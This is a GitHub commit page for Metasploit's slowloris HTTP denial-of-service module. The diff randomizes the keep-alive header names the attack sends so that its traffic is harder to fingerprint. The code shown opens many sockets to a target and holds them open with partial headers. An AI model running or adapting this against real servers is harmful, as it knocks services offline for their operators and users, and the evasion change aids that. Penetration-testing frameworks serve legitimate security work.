Skip to content

Commit 778e69f

Browse files
committed
Land rapid7#9229, Randomize slowloris HTTP headers
2 parents ccdd1cd + 785e594 commit 778e69f

File tree

1 file changed

+12
-3
lines changed

1 file changed

+12
-3
lines changed

modules/auxiliary/dos/http/slowloris.py

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
import random
55
import socket
66
import ssl
7-
import sys
7+
import string
88
import time
99

1010
from metasploit import module
@@ -70,6 +70,11 @@
7070
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
7171
]
7272

73+
74+
def create_random_header_name(size=8, seq=string.ascii_uppercase + string.ascii_lowercase):
75+
return ''.join(random.choice(seq) for _ in range(size))
76+
77+
7378
def init_socket(host, port, use_ssl=False, rand_user_agent=True):
7479
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7580
s.settimeout(4)
@@ -89,6 +94,7 @@ def init_socket(host, port, use_ssl=False, rand_user_agent=True):
8994
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
9095
return s
9196

97+
9298
def run(args):
9399
host = args['rhost']
94100
port = int(args['rport'])
@@ -102,7 +108,7 @@ def run(args):
102108
module.log("Creating sockets...", 'info')
103109
for i in range(socket_count):
104110
try:
105-
module.log("Creating socket number %s" % (i), 'debug')
111+
module.log("Creating socket number %s" % i, 'debug')
106112
s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
107113
except socket.error:
108114
break
@@ -112,7 +118,9 @@ def run(args):
112118
module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')
113119
for s in list(list_of_sockets):
114120
try:
115-
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
121+
s.send("{}: {}\r\n".format(create_random_header_name(random.randint(8, 16)),
122+
random.randint(1, 5000)).encode("utf-8"))
123+
116124
except socket.error:
117125
list_of_sockets.remove(s)
118126

@@ -126,5 +134,6 @@ def run(args):
126134
break
127135
time.sleep(delay)
128136

137+
129138
if __name__ == "__main__":
130139
module.run(metadata, run)

0 commit comments

Comments
 (0)